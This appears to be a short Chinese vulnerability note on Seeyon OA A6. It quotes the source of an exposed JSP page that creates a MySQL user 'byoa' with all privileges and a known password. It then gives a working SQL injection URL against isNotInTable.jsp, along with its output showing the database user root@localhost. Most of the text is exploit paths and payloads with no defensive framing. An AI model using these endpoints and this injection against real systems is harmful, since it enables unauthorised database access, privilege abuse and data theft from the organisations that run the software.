致远OA A6 重置数据库账号密码漏洞¶

http://url/yyoa/ext/byoa/start.jsp

<%  Connection conn = null; PreparedStatement pstmt = null; String sql = "create user byoa IDENTIFIED by 'byoa'";   try {       conn = null;//net.btdz.oa.common.ConnectionPoolBean.getConnection();        pstmt = conn.prepareStatement(sql);     out.print(pstmt.executeUpdate());       sql = "grant all on *.* to byoa";       pstmt = conn.prepareStatement(sql);     out.println(pstmt.executeUpdate());     pstmt.close();      sql = "update mysql.user set password=password('byoa') where user='byoa'";      pstmt = conn.prepareStatement(sql);     out.println(pstmt.executeUpdate());     pstmt.close();      sql = "flush privileges";       pstmt = conn.prepareStatement(sql);     out.print(pstmt.executeUpdate());       pstmt.close();      //conn.close(); } catch (Exception ex) {                    out.println(ex.getMessage());   }%>

http://url/yyoa/ext/trafaxserver/ExtnoManage/isNotInTable.jsp

http://url/yyoa/ext/trafaxserver/ExtnoManage/isNotInTable.jsp?user_ids=(17) union all select user()%23{'success':false,'errors':'root@localhost'}